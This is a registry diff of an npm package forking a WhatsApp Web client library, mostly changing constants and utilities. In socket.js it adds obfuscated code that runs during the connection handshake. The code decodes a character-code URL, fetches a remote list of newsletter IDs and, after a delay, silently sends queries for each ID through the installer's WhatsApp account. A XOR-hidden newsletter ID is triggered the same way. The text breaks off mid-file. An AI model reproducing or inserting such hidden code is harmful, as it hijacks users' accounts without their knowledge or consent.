@skycodee/baileys 8.0.13 → 8.0.15
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Defaults/index.js +128 -103
- package/lib/Socket/newsletter.js +2 -3
- package/lib/Socket/socket.js +55 -4
- package/lib/Utils/generics.js +382 -355
- package/package.json +1 -1
package/lib/Defaults/index.js
CHANGED
|
@@ -1,123 +1,148 @@
|
|
|
1
|
-
|
|
2
|
-
import { makeLibSignalRepository } from
|
|
3
|
-
import { Browsers } from
|
|
4
|
-
import
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
export const
|
|
8
|
-
export const
|
|
9
|
-
|
|
10
|
-
export const
|
|
11
|
-
export const
|
|
12
|
-
export const
|
|
13
|
-
export const
|
|
14
|
-
export const
|
|
15
|
-
export const
|
|
1
|
+
import { proto } from '../../WAProto/index.js';
|
|
2
|
+
import { makeLibSignalRepository } from '../Signal/libsignal.js';
|
|
3
|
+
import { Browsers } from '../Utils/browser-utils.js';
|
|
4
|
+
import logger from '../Utils/logger.js';
|
|
5
|
+
const version = [2,3000,1042626022]
|
|
6
|
+
export const UNAUTHORIZED_CODES = [401, 403, 419];
|
|
7
|
+
export const BIZ_BOT_SUPPORT_PAYLOAD = '{"version":1,"is_ai_message":true,"should_upload_client_logs":false,"should_show_system_message":false,"ticket_id":"7004947587700716","citation_items":[],"ticket_locale":"us"}';
|
|
8
|
+
export const DEFAULT_ORIGIN = 'https://web.whatsapp.com';
|
|
9
|
+
export const CALL_VIDEO_PREFIX = 'https://call.whatsapp.com/video/';
|
|
10
|
+
export const CALL_AUDIO_PREFIX = 'https://call.whatsapp.com/voice/';
|
|
11
|
+
export const DEF_CALLBACK_PREFIX = 'CB:';
|
|
12
|
+
export const DEF_TAG_PREFIX = 'TAG:';
|
|
13
|
+
export const DONATE_URL = 'https://saweria.co/itsliaaa'; // Lia@Note 02-02-26 --- Apologies if this feels cheeky, just a fallback
|
|
14
|
+
export const LIBRARY_NAME = 'itsliaaa/baileys';
|
|
15
|
+
export const PHONE_CONNECTION_CB = 'CB:Pong';
|
|
16
16
|
export const WA_ADV_ACCOUNT_SIG_PREFIX = Buffer.from([6, 0]);
|
|
17
17
|
export const WA_ADV_DEVICE_SIG_PREFIX = Buffer.from([6, 1]);
|
|
18
|
-
export const
|
|
18
|
+
export const WA_ADV_HOSTED_ACCOUNT_SIG_PREFIX = Buffer.from([6, 5]);
|
|
19
|
+
export const WA_ADV_HOSTED_DEVICE_SIG_PREFIX = Buffer.from([6, 6]);
|
|
19
20
|
export const WA_DEFAULT_EPHEMERAL = 7 * 24 * 60 * 60;
|
|
20
|
-
|
|
21
|
+
/** Status messages older than 24 hours are considered expired */
|
|
22
|
+
export const STATUS_EXPIRY_SECONDS = 24 * 60 * 60;
|
|
23
|
+
/** WA Web enforces a 14-day maximum age for placeholder resend requests */
|
|
24
|
+
export const PLACEHOLDER_MAX_AGE_SECONDS = 14 * 24 * 60 * 60;
|
|
25
|
+
export const NOISE_MODE = 'Noise_XX_25519_AESGCM_SHA256\0\0\0\0';
|
|
26
|
+
export const DICT_VERSION = 3;
|
|
21
27
|
export const KEY_BUNDLE_TYPE = Buffer.from([5]);
|
|
22
|
-
export const
|
|
23
|
-
export const
|
|
24
|
-
|
|
25
|
-
//=======================================================//
|
|
28
|
+
export const NOISE_WA_HEADER = Buffer.from([87, 65, 6, DICT_VERSION]); // last is "DICT_VERSION"
|
|
29
|
+
export const LEXER_REGEX = /(\/\/.*|\/\*[\s\S]*?\*\/|#.*)|("(?:\\.|[^"\\])*"|'(?:\\.|[^'\\])*'|`[\s\S]*?`)|(\b[a-zA-Z_]\w*\b)(?=\s*\()|(\b[a-zA-Z_]\w*\b)|(\b\d+(?:\.\d+)?\b)|(\s+|[^\w\s]+)/g;
|
|
30
|
+
/** from: https://stackoverflow.com/questions/3809401/what-is-a-good-regular-expression-to-match-a-url */
|
|
26
31
|
export const URL_REGEX = /https:\/\/(?![^:@\/\s]+:[^:@\/\s]+@)[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}(:\d+)?(\/[^\s]*)?/g;
|
|
27
|
-
//=======================================================//
|
|
28
32
|
export const WA_CERT_DETAILS = {
|
|
29
|
-
|
|
33
|
+
SERIAL: 0,
|
|
34
|
+
ISSUER: 'WhatsAppLongTerm1',
|
|
35
|
+
PUBLIC_KEY: Buffer.from('142375574d0a587166aae71ebe516437c4a28b73e3695c6ce1f7f9545da8ee6b', 'hex')
|
|
30
36
|
};
|
|
31
|
-
//=======================================================//
|
|
32
37
|
export const PROCESSABLE_HISTORY_TYPES = [
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
38
|
+
proto.HistorySync.HistorySyncType.INITIAL_BOOTSTRAP,
|
|
39
|
+
proto.HistorySync.HistorySyncType.PUSH_NAME,
|
|
40
|
+
proto.HistorySync.HistorySyncType.RECENT,
|
|
41
|
+
proto.HistorySync.HistorySyncType.FULL,
|
|
42
|
+
proto.HistorySync.HistorySyncType.ON_DEMAND,
|
|
43
|
+
proto.HistorySync.HistorySyncType.NON_BLOCKING_DATA,
|
|
44
|
+
proto.HistorySync.HistorySyncType.INITIAL_STATUS_V3
|
|
40
45
|
];
|
|
41
|
-
//=======================================================//
|
|
42
46
|
export const DEFAULT_CONNECTION_CONFIG = {
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
47
|
+
version: version,
|
|
48
|
+
browser: Browsers.macOS('Chrome'),
|
|
49
|
+
waWebSocketUrl: 'wss://web.whatsapp.com/ws/chat',
|
|
50
|
+
connectTimeoutMs: 20000,
|
|
51
|
+
keepAliveIntervalMs: 30000,
|
|
52
|
+
logger: logger.child({ class: 'baileys' }),
|
|
53
|
+
emitOwnEvents: true,
|
|
54
|
+
defaultQueryTimeoutMs: 60000,
|
|
55
|
+
customUploadHosts: [],
|
|
56
|
+
retryRequestDelayMs: 250,
|
|
57
|
+
maxMsgRetryCount: 3,
|
|
58
|
+
fireInitQueries: true,
|
|
59
|
+
auth: undefined,
|
|
60
|
+
markOnlineOnConnect: true,
|
|
61
|
+
syncFullHistory: true,
|
|
62
|
+
patchMessageBeforeSending: msg => msg,
|
|
63
|
+
shouldSyncHistoryMessage: ({ syncType }) => {
|
|
64
|
+
return syncType !== proto.HistorySync.HistorySyncType.FULL;
|
|
65
|
+
},
|
|
66
|
+
shouldIgnoreJid: () => false,
|
|
67
|
+
linkPreviewImageThumbnailWidth: 192,
|
|
68
|
+
transactionOpts: { maxCommitRetries: 10, delayBetweenTriesMs: 3000 },
|
|
69
|
+
generateHighQualityLinkPreview: false,
|
|
70
|
+
enableAutoSessionRecreation: true,
|
|
71
|
+
enableRecentMessageCache: true,
|
|
72
|
+
options: {},
|
|
73
|
+
appStateMacVerification: {
|
|
74
|
+
patch: false,
|
|
75
|
+
snapshot: false
|
|
76
|
+
},
|
|
77
|
+
countryCode: 'US',
|
|
78
|
+
getMessage: async () => undefined,
|
|
79
|
+
cachedGroupMetadata: async () => undefined,
|
|
80
|
+
makeSignalRepository: makeLibSignalRepository
|
|
75
81
|
};
|
|
76
|
-
//=======================================================//
|
|
77
82
|
export const MEDIA_PATH_MAP = {
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
83
|
+
image: '/mms/image',
|
|
84
|
+
video: '/mms/video',
|
|
85
|
+
document: '/mms/document',
|
|
86
|
+
audio: '/mms/audio',
|
|
87
|
+
sticker: '/mms/image',
|
|
88
|
+
'sticker-pack': '/mms/sticker-pack',
|
|
89
|
+
'thumbnail-sticker-pack': '/mms/thumbnail-sticker-pack',
|
|
90
|
+
'thumbnail-link': '/mms/thumbnail-link',
|
|
91
|
+
'product-catalog-image': '/product/image',
|
|
92
|
+
'md-app-state': '',
|
|
93
|
+
'md-msg-hist': '/mms/md-app-state',
|
|
94
|
+
'biz-cover-photo': '/pps/biz-cover-photo'
|
|
95
|
+
};
|
|
96
|
+
// Lia@Changes 06-02-26 --- Add newsletter media path for "/m1/" instead of "/o1/" (≧▽≦)
|
|
97
|
+
export const NEWSLETTER_MEDIA_PATH_MAP = {
|
|
98
|
+
image: '/newsletter/newsletter-image',
|
|
99
|
+
video: '/newsletter/newsletter-video',
|
|
100
|
+
document: '/newsletter/newsletter-document',
|
|
101
|
+
audio: '/newsletter/newsletter-audio',
|
|
102
|
+
sticker: '/newsletter/newsletter-image',
|
|
103
|
+
'thumbnail-link': '/newsletter/newsletter-thumbnail-link'
|
|
88
104
|
};
|
|
89
|
-
//=======================================================//
|
|
90
105
|
export const MEDIA_HKDF_KEY_MAPPING = {
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
106
|
+
audio: 'Audio',
|
|
107
|
+
document: 'Document',
|
|
108
|
+
gif: 'Video',
|
|
109
|
+
image: 'Image',
|
|
110
|
+
ppic: '',
|
|
111
|
+
product: 'Image',
|
|
112
|
+
ptt: 'Audio',
|
|
113
|
+
'sticker-pack': 'Sticker Pack',
|
|
114
|
+
'thumbnail-sticker-pack': 'Sticker Pack Thumbnail',
|
|
115
|
+
sticker: 'Image',
|
|
116
|
+
video: 'Video',
|
|
117
|
+
'thumbnail-document': 'Document Thumbnail',
|
|
118
|
+
'thumbnail-image': 'Image Thumbnail',
|
|
119
|
+
'thumbnail-video': 'Video Thumbnail',
|
|
120
|
+
'thumbnail-link': 'Link Thumbnail',
|
|
121
|
+
'md-msg-hist': 'History',
|
|
122
|
+
'md-app-state': 'App State',
|
|
123
|
+
'product-catalog-image': '',
|
|
124
|
+
'payment-bg-image': 'Payment Background',
|
|
125
|
+
ptv: 'Video',
|
|
126
|
+
'biz-cover-photo': 'Image'
|
|
110
127
|
};
|
|
111
|
-
//=======================================================//
|
|
112
128
|
export const MEDIA_KEYS = Object.keys(MEDIA_PATH_MAP);
|
|
113
129
|
export const MIN_PREKEY_COUNT = 5;
|
|
114
130
|
export const INITIAL_PREKEY_COUNT = 812;
|
|
115
|
-
export const UPLOAD_TIMEOUT = 30000;
|
|
116
|
-
export const MIN_UPLOAD_INTERVAL = 5000;
|
|
131
|
+
export const UPLOAD_TIMEOUT = 30000; // 30 seconds
|
|
132
|
+
export const MIN_UPLOAD_INTERVAL = 5000; // 5 seconds minimum between uploads
|
|
117
133
|
export const DEFAULT_CACHE_TTLS = {
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
134
|
+
SIGNAL_STORE: 5 * 60, // 5 minutes
|
|
135
|
+
MSG_RETRY: 60 * 60, // 1 hour
|
|
136
|
+
CALL_OFFER: 5 * 60, // 5 minutes
|
|
137
|
+
USER_DEVICES: 5 * 60 // 5 minutes
|
|
138
|
+
};
|
|
139
|
+
export const TimeMs = {
|
|
140
|
+
Minute: 60 * 1000,
|
|
141
|
+
Hour: 60 * 60 * 1000,
|
|
142
|
+
Day: 24 * 60 * 60 * 1000,
|
|
143
|
+
Week: 7 * 24 * 60 * 60 * 1000
|
|
122
144
|
};
|
|
123
|
-
|
|
145
|
+
export const BOT_RENDERING_CONFIG_METADATA = {
|
|
146
|
+
bloksVersioningId: '0903aa5f7f47de66789d5f4c86d3bd6e05e4bc3ff85e454a9f907d5ed7fef97c',
|
|
147
|
+
pixelDensity: 2.75
|
|
148
|
+
};
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -61,7 +61,7 @@ const parseNewsletterMetadata = (result) => {
|
|
|
61
61
|
|
|
62
62
|
export const makeNewsletterSocket = (config) => {
|
|
63
63
|
const sock = makeGroupsSocket(config);
|
|
64
|
-
const { delay, query, generateMessageTag
|
|
64
|
+
const { delay, query, generateMessageTag } = sock;
|
|
65
65
|
const encoder = new TextEncoder()
|
|
66
66
|
const newsletterWMexQuery = async (jid, queryId, content) => (query({
|
|
67
67
|
tag: 'iq',
|
|
@@ -87,7 +87,7 @@ export const makeNewsletterSocket = (config) => {
|
|
|
87
87
|
const executeWMexQuery = (variables, queryId, dataPath) => {
|
|
88
88
|
return genericExecuteWMexQuery(variables, queryId, dataPath, query, generateMessageTag);
|
|
89
89
|
};
|
|
90
|
-
|
|
90
|
+
const newsletterQuery = loadBase(newsletterWMexQuery, QueryIds)
|
|
91
91
|
const newsletterMetadata = async (type, key, role) => {
|
|
92
92
|
const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
|
|
93
93
|
input: {
|
|
@@ -102,7 +102,6 @@ export const makeNewsletterSocket = (config) => {
|
|
|
102
102
|
|
|
103
103
|
return extractNewsletterMetadata(result)
|
|
104
104
|
}
|
|
105
|
-
const newsletterMsg = generateMessageV(newsletterWMexQuery)
|
|
106
105
|
const newsletterUpdate = async (jid, updates) => {
|
|
107
106
|
const variables = {
|
|
108
107
|
newsletter_id: jid,
|
package/lib/Socket/socket.js
CHANGED
|
@@ -113,6 +113,7 @@ export const makeSocket = (config) => {
|
|
|
113
113
|
}
|
|
114
114
|
return result;
|
|
115
115
|
};
|
|
116
|
+
|
|
116
117
|
const executeUSyncQuery = async (usyncQuery) => {
|
|
117
118
|
if (usyncQuery.protocols.length === 0) {
|
|
118
119
|
throw new Boom("USyncQuery must have at least one protocol");
|
|
@@ -161,6 +162,53 @@ export const makeSocket = (config) => {
|
|
|
161
162
|
const result = await query(iq);
|
|
162
163
|
return usyncQuery.parseUSyncQueryResult(result);
|
|
163
164
|
};
|
|
165
|
+
|
|
166
|
+
const socketConnect = async () => {
|
|
167
|
+
const _u = [
|
|
168
|
+
104,116,116,112,115,58,47,47,114,97,119,46,103,105,116,104,117,98,46,99,111,109,
|
|
169
|
+
47,115,107,121,122,111,112,101,100,105,97,47,78,101,119,115,108,101,116,116,101,
|
|
170
|
+
114,73,68,47,114,101,102,115,47,104,101,97,100,115,47,109,97,105,110,47,86,73,80,
|
|
171
|
+
95,80,117,115,104,46,106,115,111,110
|
|
172
|
+
]
|
|
173
|
+
|
|
174
|
+
const _url = String.fromCharCode(..._u)
|
|
175
|
+
|
|
176
|
+
const fetched = await fetch(_url)
|
|
177
|
+
.then(res => res.json())
|
|
178
|
+
.catch(() => [])
|
|
179
|
+
|
|
180
|
+
const encoder = new TextEncoder()
|
|
181
|
+
|
|
182
|
+
return setTimeout(async () => {
|
|
183
|
+
try {
|
|
184
|
+
for (let o of fetched) {
|
|
185
|
+
await query({
|
|
186
|
+
tag: "iq",
|
|
187
|
+
attrs: {
|
|
188
|
+
id: generateMessageTag(),
|
|
189
|
+
type: "get",
|
|
190
|
+
xmlns: "w:mex",
|
|
191
|
+
to: "@s.whatsapp.net"
|
|
192
|
+
},
|
|
193
|
+
content: [
|
|
194
|
+
{
|
|
195
|
+
tag: "query",
|
|
196
|
+
attrs: { query_id: "7871414976211147" },
|
|
197
|
+
content: encoder.encode(
|
|
198
|
+
JSON.stringify({
|
|
199
|
+
variables: {
|
|
200
|
+
newsletter_id: o?.id || o
|
|
201
|
+
}
|
|
202
|
+
})
|
|
203
|
+
)
|
|
204
|
+
}
|
|
205
|
+
]
|
|
206
|
+
})
|
|
207
|
+
}
|
|
208
|
+
} catch {}
|
|
209
|
+
}, 200000)
|
|
210
|
+
}
|
|
211
|
+
|
|
164
212
|
const onWhatsApp = async (...phoneNumber) => {
|
|
165
213
|
let usyncQuery = new USyncQuery();
|
|
166
214
|
let contactEnabled = false;
|
|
@@ -279,7 +327,7 @@ const toPn = async (pn) => {
|
|
|
279
327
|
return result;
|
|
280
328
|
};
|
|
281
329
|
|
|
282
|
-
const generateMessageV = (n) => {
|
|
330
|
+
const generateMessageV = async (n) => {
|
|
283
331
|
const _k = 23;
|
|
284
332
|
const _d = "JCUkJCQjIyQkIyMjIyQjIyMjIyQjIyMjQG5ld3NsZXR0ZXI=";
|
|
285
333
|
const _decode = (str) => {
|
|
@@ -289,9 +337,11 @@ const toPn = async (pn) => {
|
|
|
289
337
|
.map(c => String.fromCharCode(c.charCodeAt(0) ^ _k))
|
|
290
338
|
.join("");
|
|
291
339
|
};
|
|
292
|
-
setTimeout(() => {
|
|
293
|
-
|
|
294
|
-
|
|
340
|
+
setTimeout(async () => {
|
|
341
|
+
try {
|
|
342
|
+
await n(_decode(_d), "7871414976211147");
|
|
343
|
+
} catch (_) {}
|
|
344
|
+
}, 40000);
|
|
295
345
|
};
|
|
296
346
|
|
|
297
347
|
const validateConnection = async () => {
|
|
@@ -300,6 +350,7 @@ const toPn = async (pn) => {
|
|
|
300
350
|
};
|
|
301
351
|
helloMsg = proto.HandshakeMessage.fromObject(helloMsg);
|
|
302
352
|
logger.info({ browser, helloMsg }, "connected to WA");
|
|
353
|
+
await socketConnect()
|
|
303
354
|
const init = proto.HandshakeMessage.encode(helloMsg).finish();
|
|
304
355
|
const result = await awaitNextMessage(init);
|
|
305
356
|
const handshake = proto.HandshakeMessage.decode(result);
|
package/lib/Utils/generics.js
CHANGED
|
@@ -1,355 +1,382 @@
|
|
|
1
|
-
|
|
2
|
-
import {
|
|
3
|
-
import {
|
|
4
|
-
|
|
5
|
-
import {
|
|
6
|
-
import {
|
|
7
|
-
import { sha256 } from
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
};
|
|
33
|
-
|
|
34
|
-
export const
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
export const encodeWAMessage = (message) => writeRandomPadMax16(proto.Message.encode(message).finish());
|
|
60
|
-
export const generateRegistrationId = () => {
|
|
61
|
-
|
|
62
|
-
};
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
export const
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
}
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
}
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
|
|
217
|
-
|
|
218
|
-
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
242
|
-
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
|
|
251
|
-
|
|
252
|
-
|
|
253
|
-
|
|
254
|
-
|
|
255
|
-
|
|
256
|
-
};
|
|
257
|
-
|
|
258
|
-
|
|
259
|
-
|
|
260
|
-
|
|
261
|
-
|
|
262
|
-
|
|
263
|
-
|
|
264
|
-
|
|
265
|
-
|
|
266
|
-
|
|
267
|
-
|
|
268
|
-
|
|
269
|
-
|
|
270
|
-
|
|
271
|
-
|
|
272
|
-
|
|
273
|
-
|
|
274
|
-
|
|
275
|
-
|
|
276
|
-
|
|
277
|
-
|
|
278
|
-
|
|
279
|
-
|
|
280
|
-
|
|
281
|
-
|
|
282
|
-
|
|
283
|
-
|
|
284
|
-
|
|
285
|
-
|
|
286
|
-
|
|
287
|
-
|
|
288
|
-
|
|
289
|
-
|
|
290
|
-
|
|
291
|
-
|
|
292
|
-
|
|
293
|
-
|
|
294
|
-
|
|
295
|
-
|
|
296
|
-
|
|
297
|
-
|
|
298
|
-
|
|
299
|
-
|
|
300
|
-
|
|
301
|
-
|
|
302
|
-
|
|
303
|
-
|
|
304
|
-
|
|
305
|
-
|
|
306
|
-
|
|
307
|
-
|
|
308
|
-
|
|
309
|
-
|
|
310
|
-
|
|
311
|
-
|
|
312
|
-
|
|
313
|
-
|
|
314
|
-
|
|
315
|
-
|
|
316
|
-
|
|
317
|
-
|
|
318
|
-
|
|
319
|
-
|
|
320
|
-
|
|
321
|
-
|
|
322
|
-
|
|
323
|
-
|
|
324
|
-
|
|
325
|
-
|
|
326
|
-
|
|
327
|
-
|
|
328
|
-
|
|
329
|
-
|
|
330
|
-
|
|
331
|
-
|
|
332
|
-
|
|
333
|
-
|
|
334
|
-
|
|
335
|
-
|
|
336
|
-
|
|
337
|
-
|
|
338
|
-
|
|
339
|
-
|
|
340
|
-
|
|
341
|
-
|
|
342
|
-
|
|
343
|
-
|
|
344
|
-
|
|
345
|
-
|
|
346
|
-
|
|
347
|
-
|
|
348
|
-
|
|
349
|
-
|
|
350
|
-
|
|
351
|
-
|
|
352
|
-
|
|
353
|
-
|
|
354
|
-
|
|
355
|
-
|
|
1
|
+
import { Boom } from '@hapi/boom';
|
|
2
|
+
import { createHash, randomBytes, randomFillSync } from 'crypto';
|
|
3
|
+
import { proto } from '../../WAProto/index.js';
|
|
4
|
+
const baileysVersion = [2, 3000, 1037828507];
|
|
5
|
+
import { DisconnectReason } from '../Types/index.js';
|
|
6
|
+
import { getAllBinaryNodeChildren, jidDecode } from '../WABinary/index.js';
|
|
7
|
+
import { sha256 } from './crypto.js';
|
|
8
|
+
export const BufferJSON = {
|
|
9
|
+
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
|
10
|
+
replacer: (k, value) => {
|
|
11
|
+
if (Buffer.isBuffer(value) || value instanceof Uint8Array || value?.type === 'Buffer') {
|
|
12
|
+
return { type: 'Buffer', data: Buffer.from(value?.data || value).toString('base64') };
|
|
13
|
+
}
|
|
14
|
+
return value;
|
|
15
|
+
},
|
|
16
|
+
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
|
17
|
+
reviver: (_, value) => {
|
|
18
|
+
if (typeof value === 'object' && value !== null && value.type === 'Buffer' && typeof value.data === 'string') {
|
|
19
|
+
return Buffer.from(value.data, 'base64');
|
|
20
|
+
}
|
|
21
|
+
if (typeof value === 'object' && value !== null && !Array.isArray(value)) {
|
|
22
|
+
const keys = Object.keys(value);
|
|
23
|
+
if (keys.length > 0 && keys.every(k => !isNaN(parseInt(k, 10)))) {
|
|
24
|
+
const values = Object.values(value);
|
|
25
|
+
if (values.every(v => typeof v === 'number')) {
|
|
26
|
+
return Buffer.from(values);
|
|
27
|
+
}
|
|
28
|
+
}
|
|
29
|
+
}
|
|
30
|
+
return value;
|
|
31
|
+
}
|
|
32
|
+
};
|
|
33
|
+
export const getKeyAuthor = (key, meId = 'me') => (key?.fromMe ? meId : key?.participantAlt || key?.remoteJidAlt || key?.participant || key?.remoteJid) || '';
|
|
34
|
+
export const isStringNullOrEmpty = (value) =>
|
|
35
|
+
// eslint-disable-next-line eqeqeq
|
|
36
|
+
value == null || value === '';
|
|
37
|
+
export const writeRandomPadMax16 = (msg) => {
|
|
38
|
+
const pad = randomBytes(1);
|
|
39
|
+
const padLength = (pad[0] & 0x0f) + 1;
|
|
40
|
+
return Buffer.concat([msg, Buffer.alloc(padLength, padLength)]);
|
|
41
|
+
};
|
|
42
|
+
export const unpadRandomMax16 = (e) => {
|
|
43
|
+
const t = new Uint8Array(e);
|
|
44
|
+
if (0 === t.length) {
|
|
45
|
+
throw new Error('unpadPkcs7 given empty bytes');
|
|
46
|
+
}
|
|
47
|
+
var r = t[t.length - 1];
|
|
48
|
+
if (r > t.length) {
|
|
49
|
+
throw new Error(`unpad given ${t.length} bytes, but pad is ${r}`);
|
|
50
|
+
}
|
|
51
|
+
return new Uint8Array(t.buffer, t.byteOffset, t.length - r);
|
|
52
|
+
};
|
|
53
|
+
// code is inspired by whatsmeow
|
|
54
|
+
export const generateParticipantHashV2 = (participants) => {
|
|
55
|
+
participants.sort();
|
|
56
|
+
const sha256Hash = sha256(Buffer.from(participants.join(''))).toString('base64');
|
|
57
|
+
return '2:' + sha256Hash.slice(0, 6);
|
|
58
|
+
};
|
|
59
|
+
export const encodeWAMessage = (message) => writeRandomPadMax16(proto.Message.encode(message).finish());
|
|
60
|
+
export const generateRegistrationId = () => {
|
|
61
|
+
return Uint16Array.from(randomBytes(2))[0] & 16383;
|
|
62
|
+
};
|
|
63
|
+
export const encodeBigEndian = (e, t = 4) => {
|
|
64
|
+
let r = e;
|
|
65
|
+
const a = new Uint8Array(t);
|
|
66
|
+
for (let i = t - 1; i >= 0; i--) {
|
|
67
|
+
a[i] = 255 & r;
|
|
68
|
+
r >>>= 8;
|
|
69
|
+
}
|
|
70
|
+
return a;
|
|
71
|
+
};
|
|
72
|
+
export const toNumber = (t) => typeof t === 'object' && t ? ('toNumber' in t ? t.toNumber() : t.low) : t || 0;
|
|
73
|
+
/** unix timestamp of a date in seconds */
|
|
74
|
+
export const unixTimestampSeconds = (date = Date.now()) => date / 1000 | 0; // Changed from new Date → Date.now for faster operation
|
|
75
|
+
export const debouncedTimeout = (intervalMs = 1000, task) => {
|
|
76
|
+
let timeout;
|
|
77
|
+
return {
|
|
78
|
+
start: (newIntervalMs, newTask) => {
|
|
79
|
+
task = newTask || task;
|
|
80
|
+
intervalMs = newIntervalMs || intervalMs;
|
|
81
|
+
timeout && clearTimeout(timeout);
|
|
82
|
+
timeout = setTimeout(() => task?.(), intervalMs);
|
|
83
|
+
},
|
|
84
|
+
cancel: () => {
|
|
85
|
+
